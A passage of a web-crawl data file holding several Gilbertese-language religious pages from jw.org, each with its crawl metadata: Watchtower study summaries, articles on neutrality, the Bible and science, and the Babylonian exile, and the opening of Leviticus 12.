koraki aika kukurei n uarongorongo ni kabaneani boong? Ko na kangaa ni kaotia bwa ko ukoukora moa te Tautaeka n Uea?\nMWAKORO 7\nReiakini aia aanga ana aomata te Atua ake a kabonganai ni karoko irouia aomata aika bati ma taekan te rongorongo ae raoiroi imwain rokon te toki.\nMWAKORO 8\nE kangaa ni kakoauaaki man ara mwakuri n rairai bwa ti boutokaaki iroun Iesu? Tera te kakoaua ni kaineti ma ara boki bwa e boni koaua raoi te Tautaeka n Uea iroura?\nMWAKORO 9\nE reireinia taan rimwina Iesu baika kakawaki aika uoua ibukin te mwakuri n tai ae korakora ni kaineti ma te onimaki. Ti kangaa n rotaki ni boong aikai n reirei aikai?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/uarongorongo\/","date":"2018-03-25T01:19:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651481.98\/warc\/CC-MAIN-20180325005509-20180325025509-00003.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":364,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) Ritembwa 2017\nIai n te maekatin aei kaongora ibukin te reirei ibukin Tianuare 29 nakon Beberuare 25, 2018.\nTi na kangaa ni koaua raoi bwa e na iai te mangauti n te tai ae e na roko?\nE aera ngkai te mangauti bon te reirei naba ae kakawaki n te onimaki ni Kristian?\nKo a tia ni wareki raoi kaongora man te Taua-n-Tantani n taai aika tibwa nako? Noria bwa iraua titiraki aika boto i aon te Baibara aika ko kona ni kaekai.\nTe koaua bwa irouia tibun Iteraera rimoa, te kanoa are e na riki mai iai te Mesia e onoti nakoia naake a anganaki rineia ni karimoa?\nA kona Kristian n iangoa te IUD ke te ruubu bwa bwaini kamarangaan aia kariki ae boraoi ma ana reirei te Baibara?\nA bati kaaro aika Kristian aika raraoma ngkana e a kani katabua maiuna natiia ao ni bwabetitoaki. A na kangaa ni buoka natiia n rikirake nakon te kamaiuaki?\nTe bwabetito bon te mwaneka ae kakawaki, ma a aki riai ni maakua rooro n rikirake.\nRONGORONGONI MAIUNA\nAi tibwa16 ana ririki Felix Fajardo ngke e a motikia bwa e na riki bwa te Kristian. 70 tabun te ririki imwina, bon akea uringaabana n irirakin te Toka nakon taabo ake e kanakoa nako iai.\nKo na buokaki ni kaongora aika karinanaki aikai ni kakaaei kaongora ake n Te Taua-n-Tantani ae bwain 2017.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-ritembwa-2017\/","date":"2018-03-18T00:53:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645405.20\/warc\/CC-MAIN-20180317233618-20180318013618-00407.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":231,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) Maati 2018\nIai n te kaongora aei kaongora ibukin te reirei ibukin Eberi 30 nakon Tun 3, 2018.\nTera ana reirei te Baibara ibukin te bwabetito? Baikara mwaneka ake e riai ni karaoi temanna imwaini bwabetitoana? Ao bukin tera bwa e riai te tia reirei ae te Kristian n ururinga te tia ibukin te bwabetito ngkana a reireinia natiia ke aomata riki tabeman n te Baibara?\nTera ae a kan ataia raoi kaaro aika Kristian imwaini bwabetitoaia natiia?\nTITIRAKI MAIROUIA TAANI WAREWARE\nE aera bwa Ana Tia Kakoaua Iehova a kokorea taamnein te abotoro Bauro bwa e mara?\nE aera bwa a kaumakaki Kristian n te Baibara bwa a na bwaina te iakoakoi i marenaia? Baikara taake ake ti riai ni kaotiota te akoi? Ti na kangaa n tokanikai i aoni baika tukira mani bwainan te akoi?\nRONGORONGONI MAIUNA\nE a tia ni beku Erika Nöhrer Bright bwa te bwaiania ae katoatai, te bwaiania ae okoro, ao te mitinare. E karakina aron te Atua ni kateimatoa, ni kakorakoraa, ao ni kairiria ngke e kakaonimaki ni beku i nanon ririki aika bati.\nTera reireiara mairouia naake a karekea ana reirei ni kaetieti te Atua rimoa? Ao ngkana ti kan anga te reirei ni kaetieti, ti na kangaa ni kakairi n ana katoto Iehova?\nN aaro raa ake e reireinira iai te Atua kaetakin arora i bon iroura? Ao ti na kangaa ni kakabwaiaaki n reirei ni kaetieti nako aika ti karekei n te ekaretia ni Kristian?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-kaongora-ibukin-te-reirei-maati-2018\/","date":"2018-03-24T18:15:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650764.71\/warc\/CC-MAIN-20180324171404-20180324191404-00251.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":247,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon te botaki ae katobibia te aonnaba ae e aki reitaki ma kurubu n Aro. E ngae ngke e mena kautun ara botaki n te aonnaba n te United States ma a korakora mwaitiia Ana Tia Kakoaua Iehova n aaba riki tabeua. Ni koauana, e raka i aoni wanua te mirion mai buakora aika reirei ma aomata n te Baibara n aaba aika e raka i aon 230. Ti karaoa anne ibukini kakororaoan ana taeka Iesu aei: \"Ao e na tataekinaki te rongorongo ae raoiroi aei ae taekan te tautaeka n uea, n te aonnaba ni kabutaa bwa te bwai ni kaotioti nakoia botannaomata ni kabaneia.\"—Mataio 24:14.\nTi taraia raoi bwa ti na ongeaba n te tua. Ma ti kakorakoraira n tei i nuka ni kaineti ma waaki n tautaeka, n aki ongeia bwa ti maeka ia. Ti karaoa aei ibukina bwa ti kakairi n ana kaetieti Iesu ibukia Kristian are a na \"aki arona aroia kaain te aonnaba.\" Ngaia anne bukina ae ti aki uataboi waaki n tautaeka, aia mwakuri ke ni boutokai taiani buaka. (Ioane 15:19; 17:16) Ni koauana, a kabureaki Ana Tia Kakoaua Iehova n tain te Kauoua ni Buaka Are Kabutaa Aonnaba, a bwainikirinaki ao a tiringaki ibukini kateimatoaan teia i nuka. E korea ae kangai te ebikobo rimoa ae te I-Tiaman: \"E bon eti ae a taekinna bwa tii ngaiia te botaki ae bubura ake a rarawa nakon te Third Reich [ae ana tautaeka Hitler] ibukini mataniwin nanoia.\"\n\"E korakora maiuakinan te aroaro ni maiu ae riai irouia [Ana Tia Kakoaua Iehova]. A kona aomata aika ibuobuoki akanne ni mwiokoaki ni mwakuri aika rietata n te tautaeka ma ti aki kona ni mwiokoia iai. . . . A karineia taani kairiri n te tautaeka ma a kakoauaa bwa bon tii Ana Tautaeka n Uea te Atua ae kona ni katoki aia kangaanga aomata ni kabane.\"\nMa ti bon aki kaokoroira. E tataro Iesu nakon te Atua ibukia taan rimwina ni kangai: \"I aki bubutiiko bwa ko na anaiia mai buakoia kaain te aonnaba.\" (Ioane 17:15) Ngaia are kam kona n norira ngkana ti mwakuri, ni kaboobwai ao ni kaei reirei n ara tabo.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150901\/te-aro-ae-ana-tia-kakoaua-iehova\/","date":"2018-03-20T21:43:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647545.54\/warc\/CC-MAIN-20180320205242-20180320225242-00673.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":350,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE RABAKAU N AONNABA\nTE BAIBARA BON TIAKI BOKIN TE RABAKAU N AONNABA, MA A MOANTAAI N TAEKINAKI IAI BAIKA A TUAI NI KAOTI. IANGOI KATOTO TABEUA.\nA kamatoaa n taku ngkoa taan rabakau ni bwain te aonnaba bwa kaekaan anne e bon aki. Ma a a kakoauaa ngkai ae e boni karikaki te iuniweeti. E a kamani kamataataa kaekaan anne te Baibara.—Karikani Bwaai 1:1.\nN taai ake ngkoa ao a bati aomata ake a iangoia bwa e borababaua te aonnaba. N te kanimaua n tienture B.C.E. ao a taekinna taan rabakau ni bwain te aonnaba mai Kuriiti bwa e mronron. Ma e aki maan imwain anne n te kawanua n tienture B.C.E. ao e taekina \"mronronin te aonnaba\" te tia korea te Baibara ae Itaia, ni kabongana te taeka ae rairana naba \"mronron.\" —Itaia 40:22.\nE angareirei te tia rabakau rimoa mai Kuriiti ae Aristotle are maiu n te kaaua n tienture B.C.E., bwa a kona ni mane tii bwain te aonnaba, ma a aki kona ni bitaki ke ni mane itoini karawa. Anne te iango ae bwainaki i nanon tienture aika bati. Ma n te ka-19 n tienture, ao a karekea te iango taan rabakau ni bwain te aonnaba ae a bane bwaai ni kerikaaki aroia ma ni mane. E nanonaki iai bwa bwain te aonnaba ao bwaini karawa a kona ni mane. Temanna te tia rabakau ni bwain te aonnaba ae boutokaa te iango aei ae Lord Kelvin, e ataia bwa e kangai te Baibara ibukini karawa ao te aonnaba: \"Ane a na mane n ai aron te kunnikai.\" (Taian Areru 102:25, 26) Ni kaineti ma ana reirei te Baibara, e kakoauaa Kelvin bwa e kona te Atua ni baireia bwa a na aki mane baikai, n totokoa uruakin Ana karikibwai.—Te Minita 1:4.\nE taekinna Aristotle bwa a bane bwaini karawa ni mena n te mronron. Te mronron teuana e mena i nanon te mronron teuana, ni karokoa ae ai te aonnaba raoi mai nuka. N te ka-18 n tienture C.E., ao a moan iangoia taan rabakau ni bwain te aonnaba bwa a tinetine itoi ma buraneti n te akea. Ma n te boki ae Iobi ae koreaki n te ka-15 n tienture B.C.E., e taekinaki iai bwa te tia Karikiriki \"e katinetinea te aonnaba i aon te akea.\"—Iobi 26:7.\nBWAINNAORAKI\nBON TIAKI TE BOKI NI BWAINNAORAKI TE BAIBARA, MA IAI BOOTO N REIREI IAI AKE A A KAMANI KAOTA ARONI KAWAKINAN TE MARURUNG.\nE taekinaki n te Tua Rinanoni Mote bwa a na kaokoroaki aoraki aika rebera ma aomata. Ma a a tibwa noria taokita aika taani kuakua bwa e rangi n nakoraoi te boto n reirei aei, imwini butinakon te aoraki n taai ake rimoa.—Nakoaia Ibonga, mwakoro 13 ao 14.\nA aki toki taokita ni karaoa aia mwakuri i aoia maate ao imwina ai manga aoraki ake a boni maiu, n aki tebobai i marenantai, ni karokoa raabanen te ka-19 n tienture. E korakora te mate n te waaki aei. Ma e taekinaki n te Tua Rinanoni Mote bwa e aki itiaki ane e ringa te mate. E taekinaki naba iai bwa e na kabonganaaki te ran ibukin te kaitiaki ni waaki aikai. A boni bae naba ni kanakoraoa te marurung kaetieti ibukin te taromauri akanne.—Warekaia Iteraera 19:11, 19.\nNi katoa ririki ao e raka i aon te iterana te mirion ataei aika mate man te bekanako, ae riiriki man aki kaitiakan raoi te nakotaari. E taekinaki n te Tua Rinanoni Mote bwa e riai n taunaki nakotaarin te aomata, ao ni kararoaaki ma taabo ni maeka.—Te Tua-Kaua 23:13.\nE taekinaki n te aro ae mataata n Ana Tua te Atua bwa e riai ni koreaki te teei ae te mwaane n ana kawanibong imwini bungiakina. (Nakoaia Ibonga 12:3) Ni kaineti ma te teei ae e a tibwa bungiaki, imwin 1 ana wiki ao e a kona raraana ni bwanin n te aro ae e na aki kona n tiinako ae bati. N taai ake a karakinaki n te Baibara imwain ae a toamau waaki ni bwainnaoraki, ao e rangi n tamaroa te tai n tataninga imwain te korobero ae raka i aon teuana te wiki.\nA taku taani kakaae n te botaki ni kuakua ma taan rabakau ni bwain te aonnaba bwa namakin aika raraoi n aron te kimwareirei, te kantaninga, te kakaitau, ao te tauraoi ni kabwarai buure, a buoka naba marurungin te rabwata. E kangai te Baibara: \"Bon te bwainnaoraki ae raoiroi te nano ae kimwareirei, ma e kamamaraa te rabwata te nano ae rawawata.\"—Taeka N Rabakau 17:22.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2018-tian-beb\/e-a-bane-tain-te-baibara\/","date":"2018-03-20T19:40:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647530.92\/warc\/CC-MAIN-20180320185657-20180320205657-00386.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":742,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'E weteingkami Iehova man te roo nakon ana oota ae kamimi.'\nANENE: 95, 74\n1. Taekini baike a riki ngke e uruakaki Ierutarem.\nN 607 B.C.E., e a niniaki Ierutarem n ana taanga ni buaka Baburon ae rangi ni bubura ae kairaki iroun te Uea are Nebukaneta II. Ni kaineti ma te tiritiri ae korakora iai, e taekina aei te Baibara: 'E kamateia Nebukaneta aia rorobuaka n ataei n te kabaang n te auti are n aia tabo ae tabu. E aki nanoangaiia rorobuaka n ataei ke aine aika tuai ni boo ma mwaane, kaara ke mwauku. E kabueka ana auti te Atua ae koaua, e kabwakaa oon Ierutarem, e kabueki tauana aika nonoaki ni kabane n te ai, ao e kamaunai bwaai nako aika kakawaki.'\n2. Tera ana kauring Iehova, ao tera ae e na riki nakoia I-Iutaia?\n2 A aki riai ni kubanrou kaain Ierutarem n uruakan aia kaawa. Bwa i nanon ririki aika bati, a a tia ni kauringaki I-Iutaia irouia ana burabeti te Atua bwa ngkana a teimatoa ni kakeaa bongan Ana Tua te Atua, a na boni kataenikaiaki irouia kaaini Baburon. A na bati I-Iutaia aika a na mate n te kabaang ao ane e reke maiuna, e na boni kabanea maiuna ni kataenikaiaki i Baburon. (Ier. 15:2) Tera aroni maiuia taenikai ikekei? Iai te bwai ae riki nakoia naake a kataenikaiaki i Baburon ae e a tia n riki naba nakoia Kristian? Ngkana iai ao n ningai?\nTE MAIU N TAENIKAI\n3. E kangaa ni kaokoro te kataenikaiaki i Baburon ma tautoronakia tibun Iteraera i Aikubita?\n3 E waekoa ni koro bukin te baere a a kaman taekinna burabeti. E karaui nanoia naake a na riki bwa taenikai Iehova rinanon Ieremia bwa a riai ni butimwaea aroia ane boou anne ao ni kamanena raoi. E taku: \"Katei auti [i Baburon] ao maeka iai. Ununiki n taian onnaroka ao kang uaaia. Ao ukoukora raun te kaawa are I kataenikaingkami nako iai, ao tataro ibukina nakon Iehova, bwa kam na rau ngkana e rau.\" (Ier. 29:5, 7) Te koraki ake a aantaeka ni karaoa nanon te Atua a boni maiu n aron ae e taneiai te aba iai i Baburon. E reke kariaiakaia teutana mairouia naake a kataenikaiia bwa a na karaoi baike a tangiri. A kariaiakaki naba taan taenikai ni mwamwananga n te aba anne. Baburon bon nibwan te iokinibwai ao te bitineti rimoa, ao a kaotaki ni bwaai ni kakoaua ake a kenaki i aantano bwa a bati I-Iutaia ake a reke rabakauia n iokinibwai ikanne, ao tabemwaang a riki bwa taani karaobwai aika mwaatai. A boni maiu ni kaubwai naba tabeman I-Iutaia. E rangi ni kaokoro te kataenikaiaki i Baburon ma te tautoronaki i Aikubita are a rinanona tibun Iteraera bubua ma bubua te ririki mai mwaina.\n4. Antai ake a rotakibuaka naba n te kataenikaiaki i Baburon i rarikia tibun Iteraera ake a karitei, ao e aera ngke a aki kona ni karaoi bwaai nako aika tangiraki n te Tua?\n4 E ngae ngke a rereke baike a kainnanoi ibukini maiuia I-Iutaia ma tera aroni baike a kainnanoi ibukin aia onimaki? E a tia n uruakaki ana tembora Iehova ma baonikareana, ao e a aikoa waaki te nakoa n ibonga n te aro ae baireaki raoi. Bon akea te bwai ae bure ae a karaoia ana toro te Atua aika kakaonimaki ake i buakoia taenikai, ae a tau ni katuuaaeaki iai. Ma a riai naba ni kaai ni karawawataaki ma nikiraia te natannaomata anne. Ma a karaoa ae a kona ni karaoia n ongeaba n Ana Tua te Atua. N te katoto, ni menaia i Baburon Taniera ma raona ake teniman ake Tiateraka, Metiaka, ao Abeteneko, a rawa ni kana te amwarake ae katabuaki kanakina irouia I-Iutaia. Ao ti ataia bwa e katoatai Taniera n reitaki ma te Atua n te tataro. (Tan. 1:8; 6:10) Ma kioina ngkai e mena i aan aia kairiri beekan te I-Iutaia ae mamaaka te Atua, e boni kangaanga irouna bwa e na karaoi bwaai nako aika tangiraki n te Tua.\n5. Tera te kantaninga are e angania ana aomata Iehova, ao bukin tera bwa e kamimi te berita aei?\n5 A na manga kona n taromauria te Atua tibun Iteraera n te aro ae riai? E taraa n rangi ni kangaanga rikin aei n te tai anne. E aki kakainaomataia ana taenikai Baburon. Ma e aki muti Iehova ae te Atua n te tua anne. E a tia ni beritanna bwa a na kainaomataaki ana aomata, ao e boni koro bukina. E kokoro bukin ana berita te Atua.\nA A TIA NI KATAENIKAIAKI KRISTIAN I BABURON?\n6, 7. E aera bwa ti riai ni kamataataira raoi n taekan ana kataenikai Baburon ni boong aikai?\n6 A a tia Kristian n rinanon te bwai teuana ae kuri n titeboo ma te kataenikaiaki are i Baburon? I nanon ririki aika bati, e taekinaki n Te Taua-n-Tantani bwa a kataenikaiaki irouni Baburon ana toro te Atua man 1918 ao a kainaomataaki n 1919. Ma n te kaongora aei ao are imwina, ti na reiakinna bwa e aera ngkai ti riai ni kaetii otara iai.\n7 Iangoia: Baburon ae Kakannato bon te botaki n Aro ae kewe ae katobibia te aonnaba. Ngaia are a boni bae n tia n toronaki ana aomata te Atua irouia Aaro aika kewe n te anga teuana ma teuana n te tai anne ao a a riki bwa ana taenikai Baburon n 1918. Ma e kaotaki ni bwaai ni kakoaua bwa tatabebwi te ririki imwain te Moani Buaka Are Kabutaa Aonnaba, a a boni kainaomataaki ana toro te Atua aika kabiraki mairouni Baburon ae Kakannato, ao a aikoa toronaki irouna. E ngae ngke e koaua bwa a bwainikirinaki taani kabiraki n te moani buaka are kabutaa aonnaba, ma te rawawata are a rinanona boni mairouia taan tautaeka n te aonnaba, ma tiaki Baburon ae Kakannato. Ngaia are e taraa n ae a aki kataenikaiaki ana aomata Iehova irouni Baburon ae Kakannato n 1918.\nTE TAENIKAI I BABURON\n—N NINGAI?\n8. Kabwarabwaraa aroni kabarekaan te Aro ni Kristian ni koaua. (Nora te taamnei ni moan te kaongora aei.)\n8 Ni Bentekota 33 C.E., a ruonaki n te taamnei ae raoiroi nga ma nga I-Iutaia ao aomata ake a rairaki nakon te Aro n Iutaia. A riki Kristian aika boou aikai bwa \"te reeti n aomata aika . . . rineaki, te koraki n ibonga aika ueea, te natannaomata ae itiaki, te koraki ake ana bwai te Atua.\" (Wareka 1 Betero 2:9, 10.) A teimatoa abotoro n tararuai taian ekaretia n aia bongi ni maiu ni kabane. Ma e ngae n anne, imwin raoi mateia abotoro, a a teirake mwaane n taekin \"reirei aika kewe\" ni \"katikiianako taan rimwin Iesu bwa a na rimwia.\" (Mwa. 20:30; 2Tet. 2:6-8) A bati i buakoia mwaane aikai ake iai mwiokoaia aika kakawaki n taian ekaretia, a beku bwa mataniwi, ao imwina riki bwa \"ebikobo.\" E a moanna n tei te koraki ae rietata riki aika taani kairiri, e ngae naba ngke e a tia ni kangai Iesu nakoia taan rimwina: \"Taari ngkami ni kabane.\" (Mat. 23:8) Ibukina bwa mwaane aika bubura nakoaia aikai a rangi n tangiri aia karioiango Aristotle ao Plato, a a moanna n reireinia aomata aia reirei naakai ma aia iango, ao teutana imwin teutana a a onea mwin te reirei ae koaua are n Ana Taeka te Atua.\n9. Kabwarabwaraa aron te Aro ni Kristian ae tannako man te koaua ni boutokaaki n te Tautaeka n Rom, ao tera mwina?\n9 N 313 C.E., e a kariaiakaki i aan te tua te Aro ni Kristian ae tannako man te koaua aei iroun te Embera n Rom ae te beekan ae Constantine. Ni moa man te tai anne, a a moanna n ikarekebai te Aro ao te Tautaeka. N te katoto, imwin te Kaboowi are i Nicaea ao e tua Constantine are ira te boowi bwa e na kanakoaki mai abana te tama ae karitei are Arius, ibukina bwa e rawa ni kakoauaa ae Iesu bon te Atua. Imwina riki, i aan ana kairiri te Embera ae Theodosius I (379-395 C.E.) ao te Aro ni Katorika are te Aro ni Kristian ae kabarekaaki, e a moanna ni kinaaki, ao e a riki bwa te Aro n te Embwaea n Rom. A taekina Rom ae te aba ae beekan taani kororongorongo rimoa bwa aongkoa e riki bwa te aba ae Kristian n te kaaua n tienture. Ma ni koauana, n te tai anne e a butimwaei reirei ni beekan te Aro ni Kristian ae tannako man te koaua, ngaia are a a riki bwa kaaini Baburon ae Kakannato. E ngae n anne, a boni karaoa naba aia kabanea ni konaa n taromauria te Atua te koraki ae karako mwaitiia ake Kristian aika kabiraki aika ai aroia uita, ma akea ae e kan ongora irouia. (Wareka Mataio 13:24, 25, 37-39.) A a bon riki bwa taenikai irouni Baburon!\n10. E boto i aon tera nanououaia aomata aika raraoi nanoia n ana reirei te Aro bubua ma bubua te ririki imwini Kristo?\n10 Bubua ma bubua te ririki imwini Kristo, a bati aomata aika kona ni wareka te Baibara n te taetae ni Kuriiti ke n Ratine. Ngaia are a kona ni kabotaui reirei man Ana Taeka te Atua ma reirei n te Aro. Ni kaineti ma baike a wareki n te Baibara, tabeman i buakoia a rawa ni butimwaei booto n reirei man te Aro aika bobuaka ma te Baibara, ma e karuanikai aei ao a kona ni mate naba ngkana a taekin iango aikai i mataia aomata.\n11. E kangaa n tauaki taekan te Baibara irouia mataniwi n Aaro?\n11 Imwin tabeua te tai, a aikoa kamanenaaki irouia aomata aika rangi ni bati taetae ake a rairaki iai Baibara, ao te Aro e tuka rairan Ana Taeka te Atua nakon taetae aika kakabonganaaki riki. Ibukin anne, tii mataniwi n Aaro ao aomata tabeman ake a bubura aia reirei aika kona ni wareka te Baibara i bon irouia, ma a aki bane mataniwi n Aaro n rabakau ni wareware ao ni koroboki. Ane e rawa nakon ana reirei te Aro, e na boni kakaiaki tuuaana. A riai ni karaba ni bobotaki ni kurubu ana toro te Atua aika kakaonimaki, ngkana e angaraoi irouia. N aron are e riki irouia naake a taenikai i Baburon rimoa, a aki kona naba taani kabiraki aika \"te koraki n ibonga aika ueea\" ni karaoi aia mwakuri n te aro ae baireaki raoi. Ai matoatoara ana tautaeka Baburon ae Kakannato i aoia aomata!\nE A MOANNA N NORAKI TE OOTA\n12, 13. Baikara baika uoua aika boutokaa kamarauan tautoronakia aomata irouni Baburon ae Kakannato? Kabwarabwaraa.\n12 Iai te tai ae a na inaomata iai Kristian ni koaua ao ni kariaiakaki n taromauria te Atua i mataia aomata? Eng! E a moanna n rin i buakon te rotongitong te oota i aoni bwaai n taamnei. Ai rabwara baika kakawaki aika uoua aikai. Te moan, bon te mitiin ni boreeti ae kamanenai manin koroboki aika kona ni kamwaingingaki ae kabonganaaki n nukan te ka-15 n tienture. Imwain reken te bwai ni boreeti n aaba ake i Maeao, e karauaki raoi ni kaeweweaki n te bai te Baibara. A karako katotoni Baibara ao a rangi ni bobuaka. E taekinaki bwa e kainnanoa tebwina te namwakaina te tia kaewewe ae mwaatai ibukini kaewean tii teuana katoton te Baibara ae koreaki n te bai! Irarikin anne, a rangi ni bobuaka bwaai ake e koroboki i aoia te tia kaewewe (te beeba ae matoatoa ke te kunniman). Ni kaitaraan anne, kamanenaan te bwai ni boreeti ao te beeba ae te anga riki teuana ae moan te nakoraoi, e kona iai te tia boreeti ae mwaatai ni katiai iteraniba aika 1,300 n tebongina!\n13 Te kauoua ni bwai ae kakawaki bon aia motinnano tabeman mwaane aika ninikoria n raira Ana Taeka te Atua nakon taetae aika kakabonganaaki riki ni moan te ka-16 n tienture. A karaoa te mwakuri aei taan rairai aika bati ao a karuanikaia iai maiuia. E rangi n un te Aro iai. Bukin tera? A maaku bwa ngkana a wareka te Baibara n oin aia taetae aomata aika raraoi nanoia, a nang moanna iai n tabeki titiraki n aron aikai: 'E taekinaki ia n Ana Taeka te Atua rongorongon te burikatorio?, te kabwakamwane n te tutia ibukia maate?, taekaia bobe ao mataniwia taama?' E rangi n un te Aro n te waaki aei. E aera bwa a na waeiia mataniwi n te Aro aomata aika rangi ni bati! E boni kaaitaraia aomata te Aro. A motikaki taekaia aomata ake a rawa nakon ana reirei te Aro, ake tabeua mai iai a boto i aon aia karioiango ni beekan Aristotle ao Plato ake a maiu imwaini bungiakin Iesu Kristo. E bairea te tuuaa ae te kamateaki te Aro ao e karaoa nanona te Tautaeka. A karaoa aei ibukina bwa a na kabwarai nanoia aomata mani warekan te Baibara ao waewaean te Aro. E karaoaki aei n angiin te tai. Ma tabeman ake a ninikoria a bon rawa n tautaekanaki irouni Baburon ae Kakannato. A a tia ni katoonga Ana Taeka te Atua, ao a tangira ae bati riki! E a uakaan te kainaomataaki man te Aro ae kewe.\n14. (a) Baikara baike a boutokaa rikiraken riki te oota i aoni koaua man te Baibara n raabanen 1800 tabun? (b) Kabwarabwaraa ingaingan Brother Russell ibukin te koaua.\n14 A bati ake a bwarua te koaua man te Baibara ake a birinako nakon aaba ake e karako iai mwaakan te Aro. A kani wareka te Baibara ao n reiakinna ao ni maroroakinna i marenaia n akea ae e na tuangia te bwai ae a na iangoia. Teuana i buakon aaba akanne bon te United States are a moana iai aia ukeuke n te Baibara Charles Taze Russell ma raona tabeman n raabanen 1800 tabun. N te moantai, te bwai ae e uaiakinna Brother Russell bon ukeran raoi te Aro ae reirei te koaua n taai akanne. E a tia ni karaua raoi ni kabotaui ana reirei te Baibara ma aia reirei Aaro aika kakaokoro, ao Aaro naba ake a aki aranaki bwa Kristian. E waekoa n ataia ae akea i buakon Aaro akanne ae boraoi ana reirei ma Ana Taeka te Atua. N te taina, e kawariia Russell mataniwi n Aaro aika bati ao e kantaningaiia mwaane aikai bwa a na butimwaei koaua ake e a tia ni kunei ma raona ao ni manga reireinia iai kaain aia ekaretia. A aki kan ongora mataniwi aikai. A riai Taan Reirei n te Baibara n ataa aei: A na aki reitaki ma naake a motinnanoia bwa a na tiku n te Aro ae kewe.\n15. (a) N ningai te tai are a mena iai Kristian i aani Baburon ae Kakannato? (b) Taekin titiraki aika a na kaekaaki n te kaongora ae imwina.\n15 Mani moan te kaongora aei, ti a tia n ataia ae a riki Kristian ni koaua bwa taenikai irouni Baburon imwin raoi maten te kabanea n abotoro. Ma a rio titiraki aika bati n aron aikai: Tera riki te bwai ni kakoaua bwa tatabebwi te ririki imwain 1914 ao a a boni kainaomataaki man tautoronakia taani kabiraki mairouni Baburon ae Kakannato? E koaua ae e aki kukurei Iehova irouia ana toro ibukini waeremwen aia mwakuri n uarongorongo n te Moani Buaka Are Kabutaa Aonnaba? Ao e koaua bwa a kakeaa bongan teia i nuka tabeman taari mwaane n te tai anne ike e a aki kukurei iai Iehova? Ngkana ngaia bwa a kataenikaiaki Kristian n te Aro ae kewe ni moa man te kauoua n tienture C.E., n ningai ngkanne are a kainaomataaki iai? A rangi n tamaroa titiraki aikai, ao a na kaekaaki n te kaongora ae imwina.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-kaongora-ibukin-te-reirei-nobembwa-2016\/e-weteingkami-man-te-roo\/","date":"2018-03-20T10:42:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647327.52\/warc\/CC-MAIN-20180320091830-20180320111830-00388.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2569,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12 E reitia ni kangai Iehova nakoni Mote: 2 \"Tuangia tibun Iteraera ni kangai, 'Ngkana e bikoukou te aine ao e bungia natina te mwaane, e na kamwara i nanon itibong n ai arona n aki itiaki ngkana e aoraki n aine.+ 3 E na korotobibiaki te teei n te kawanibong.+ 4 E na tiku ni mwengana neiei ni kaitiakia man raraana i nanon 33 te bong. E aki riai n ringa te bwai teuana ae tabu, ao e aki riai n rin n te tabo ae tabu ni karokoa koroni bongini kaitiakana. 5 \"'Ngkana e bungia natina ae te aine, e na kamwara i nanon 14 te bong n ai arona n ana tai n aoraki n aine. E na tiku ni mwengana ni kaitiakia man raraana i nanon 66 te bong. 6 Ngkana a koro ana bong ni kaitiakia ibukin natina te 